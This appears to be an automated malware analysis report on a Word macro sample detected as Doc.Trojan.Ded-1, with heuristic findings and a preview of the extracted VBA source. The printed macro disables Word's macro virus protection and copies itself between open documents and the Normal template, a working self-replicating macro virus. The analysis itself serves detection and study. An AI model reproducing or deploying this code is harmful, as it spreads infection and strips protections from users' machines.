MALICIOUS
302
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains obfuscated VBA macros that utilize the Shell() function to download and execute a payload from an embedded URL. The macro attempts to copy itself to the active document and the normal template, and then executes a 'PayLoad' subroutine. The presence of Shell() calls and obfuscated URLs strongly indicates a downloader or droppper functionality.
Heuristics 6
-
ClamAV: Doc.Trojan.Ded-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ded-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URLVBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.marfan.org Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 19495 bytes |
SHA-256: bf619e922bb0ee9d466f9d14b3e97c04cca1197395212523e437bce9b8feffec |
|||
|
Detection
ClamAV:
Doc.Trojan.Ded-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'MarfanSyndrome!
On Error GoTo skammy
' Disable That Pesky This Document Has Macros Features
Options.VirusProtection = False
' 50% Chance of Parent Passing the Disease to Children
Randomize
If Int(2 * Rnd) = 1 Then
Marfan_Syndrome
End If
skammy:
End Sub
'Copy From This Macro From The Normal Template to the Active Document
Private Sub Marfan_Syndrome()
If Not ActiveDocument.VBProject.VBComponents(1).CodeModule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
For I = 1 To NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
lineofcode = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(I, 1)
ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines I * 2, lineofcode
Next I
' Run The Payload
PayLoad
' Save it
ActiveDocument.SaveAs AddToRecentFiles:=False
Else
'Copy This Macro From The Active Document to the Normal Template
If Not NormalTemplate.VBProject.VBComponents(1).CodeModule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
For I = 1 To ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
lineofcode = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(I, 1)
NormalTemplate.VBProject.VBComponents(1).CodeModule.InsertLines I * 2, lineofcode
Next I
' Save It
NormalTemplate.Save
End If
End If
End Sub
Private Sub PayLoad()
Symptoms = 0
SymptomsString = "Symptoms Found\n-------------\n"
' Is the Document Abnormally Tall?
If ActiveDocument.PageSetup.PageHeight > 720 Then
Symptoms = Symptoms + 1
SymptomsString = SymptomsString + "Your Document Was Abnormally Tall (Long)\n"
End If
' A Large Font Could Be A Sign Of Extreme NearsightedneSymptomsString
If ActiveDocument.Range(Start:=0, End:=1).Font.Size > 12 Then
Symptoms = Symptoms + 1
SymptomsString = SymptomsString + "Your Document Showed Signs of NearsightedneSymptomsString\n"
End If
' Flat Feet is Another Bad Sign
With ActiveDocument.Sections(1).Footers(wdHeaderFooterPrimary)
If .Range.Text = vbCr Then
Symptoms = Symptoms + 1
SymptomsString = SymptomsString + "Your Document Had Flat Feet\n"
End If
End With
' User Didnt Type That Much... Bad Joints?
If ActiveDocument.Words.Count < 100 Then
Symptoms = Symptoms + 1
SymptomsString = SymptomsString + "Possible Bad Joints Were Detected\n"
End If
' No MathCoPorceSymptomsStringor! User probably feels Chest Pains.
If System.MathCoprocessorInstalled = False Then
Symptoms = Symptoms + 1
SymptomsString = SymptomsString + "Your Computer Does Not Have A MathCoProceSymptomsStringor (Chest Pains)\n"
End If
' Bad Posture or Slouching is a Big Tipoff!
If ActiveDocument.PageSetup.BottomMargin <> ActiveDocument.PageSetup.TopMargin Then
Symptoms = Symptoms + 1
SymptomsString = SymptomsString + "Your Document Showed Signs of Slouching or Bad Posture\n"
End If
' Abnormally Long Arms or Legs is A Symptom
If ActiveDocument.PageSetup.LeftMargin > 90 Or ActiveDocument.PageSetup.BottomMargin > 72 Then
Symptoms = Symptoms + 1
SymptomsString = SymptomsString + "Your Document Showed Signs of Long Arms or Legs\n"
End If
' A High Palette in the Mouth Could be a Clue
If ActiveDocument.PageSetup.TopMargin > 72 Then
Symptoms = Symptoms + 1
SymptomsString = SymptomsString + "Your Document Showed Signs of a High Palette\n"
End If
' Marfan Recommends Thorough Checkups If You Have More Than 2 Symptoms!
If Symptoms > 2 Then
' Have We Created The Batch Files Yet?
With Application.FileSearch
.NewSearch
.LookIn = "c:\"
.SearchSubFolders = False
.fileName = "marfan.bat"
.MatchTextExactly = True
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.